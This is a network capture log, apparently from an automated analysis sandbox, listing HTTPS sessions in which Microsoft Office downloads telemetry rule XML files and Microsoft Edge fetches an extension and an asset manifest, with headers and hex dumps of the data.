
Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:32 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:32 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: cf21543a-c01e-0079-7409-37e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034132Z-1866b5c5fbbvz6qbhC1DFWsyms00000004cg00000000fx64 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:32 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:32 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:32 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:32 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034132Z-16547b76f7fd77jrhC1DFWfwq000000001zg000000004qfb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:32 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:32 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:33 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:32 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 5f02778f-801e-0048-0e9a-37f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034132Z-164f84587bf7k72dhC1DFWvczs000000056000000000gsg4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:33 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:33 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:33 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:33 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: fa116fd5-501e-0064-65a6-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034133Z-1866b5c5fbbfkdfghC1DFW4sv400000004bg000000008nbx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:33 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:33 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:33 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:33 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034133Z-1866b5c5fbbxjblthC1DFW6b4800000003a0000000000805 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:33 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:33 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:33 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:33 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: cc141125-801e-0067-1cd2-37fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034133Z-16547b76f7ftfv4jhC1DFWuhug00000002tg00000000gcn1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:33 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:33 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:33 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:33 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: d4662715-001e-002b-50ac-3899f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034133Z-164f84587bfdt5l2hC1DFW88gs00000003mg000000006x4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 03:41:33 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49887	23.192.223.230	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:33 UTC	614	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732506089&P2=404&P3=2&P4=QqAfrdqLFYLtFx8ZwSFd%2fR7kuguHRCwdW3Vt4roM3QNk6UgTvNsGGvCeyHuBFofFq28MBNpxNn2UDPkM3wyNAg%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: 7d1DmAAYGEYFl0ptjKU2Tl Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:33 UTC	1247	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: b5be7f28-30f8-4e98-b066-2cf42562c370 MS-RequestId: 9885de3b-27e0-4b0f-808d-c01df5dd3a69 MS-CV: yBQjRH2Cz9cEwJJB8vsbOp.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86400 Date: Mon, 18 Nov 2024 03:41:33 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.202.88.103,b=313274884,c=g,n=US_TX_DALLAS,o=20940],[c=c,n=US_TX_DALLAS,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.6758ca17.1731901293.12ac3204 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-18 03:41:33 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:33 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:33 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:33 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: fffac850-701e-0098-3309-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034133Z-16547b76f7ftfv4jhC1DFWuhug00000002sg00000000k35f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:33 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49888	13.107.246.57	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:33 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:34 UTC	577	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:33 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 8d55dced-901e-000f-65df-3785f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T034133Z-16547b76f7f7zzl8hC1DFWmtag000000040000000000sysv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:34 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-18 03:41:34 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
